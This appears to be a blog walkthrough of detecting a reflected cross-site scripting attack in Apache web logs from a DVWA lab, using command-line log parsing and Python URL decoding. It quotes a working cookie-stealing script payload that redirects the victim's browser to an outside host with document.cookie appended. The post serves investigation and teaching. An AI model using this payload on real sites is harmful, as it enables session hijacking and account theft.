In the Cyber Security investigation realm, “Indicators of Compromise” is a significant component in determining whether or not you have been compromised. Note it said “Indicators” it does not say yes or no you have been compromised.
Those indicators come from primarily one of two sources, either the logs or the packets traversing the network. However, there are still other sources we can leverage that are based also on the host directly. Maybe information from the browser’s cache as we will see later or maybe the file system, registry or even a process running in memory.
For this detection, let’s focus on logs seen at the web server and the data in the client’s browser cache. I’ve copied the logs and stored them in the “/tmp” folder on Kali.
Let’s go hunting!!
First let’s take a look at the contents of the file we have.
The contents of the file above brings up a sad (my word) reality. Many of times you will have log files with tons of data and will not know where to start looking. This is exactly the reason why having indicators of compromise is important. However, for those situations when you don’t have a known bad, I will post a later blog entry on how you can go about detecting these.
If we look at the log we can see lots of URL encoded entries. eg “%3Cscript%3E”. Let’s go through the logs to understand what is going on here. But first let’s extract a log entry and try to make sense of its structure.
”10.0.0.1 - - [04/Feb/2017:13:34:12 -0500] "GET /dvwa/security.php HTTP/1.1" 200 5850 "http://10.0.0.102/dvwa/vulnerabilities/xss_r/?
dab3756ce90d020d8630cfcdadacfa7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0"
There is a lot of information in this log entry which we can learn about from the previous blog on detecting web authentication brute forcing. For our purpose let’s use what is most helpful at this time.
From the reference (1) below, we know this log is in Apache’s “Combined Log Format” . As a result, we will pay attention to the “Request line from the client”
Analysis of the requests.
Looking first at the HTTP methods use, below we see 72 (the majority) of our requests uses the “GET” method. We also see 6 “POST” methods. Don’t be fooled and believe that you only need to focus on the ones with the most noise. When doing an investigations you should be more fearful of the things you see less of.
”cat xss.log | cut --fields 2 --delimiter "]" | cut --fields 1 --delimiter "/" | sort | uniq --count | sort --numeric –reverse”
Looking closer at the “GET” method we see:
”cat xss.log --number | grep --perl-regexp 'GET.*?"' --only-matching | sort | uniq --count | sort --numeric –reverse”
Looking at above we see what seems normal and definitely what seems abnormal from the “GET” Methods used. There seems to be 8 entries which are URL encoded.
Let’s now turn to our friend Python3 “urllib” to help us solve one of these problem.
Decoding “GET /dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ewindow.location%3D%27http%3A%2F%2F10.0.0.101%2FstealCookie.txt%3F%27%2Bdocument.cookie%3C%2Fscript%3E HTTP/1.1"
Python3 to the rescue.
From the above it seems the user executed “<script>window.location='http://10.0.0.101/stealCookie.txt?'+document.cookie</script>” in the “name” parameter field.
Obviously we would want to go through each of those to see what was sent. However, I believe if you have reached this far in reading this, then you should have gotten the picture.
Before we go …
… let’s assume we had access to the client that made this request. If we look at the logs above, we already know this user “seems” to be using FireFox. Let’s assume that assumption is correct, we could take a look at the FireFox “cache” to see if this user did make this request to correlate this back to our logs.
The image below shows what this would look like.
Well that’s all folks!!!
1. Apache Log Files
2. 21.8. urllib.parse — Parse URLs into components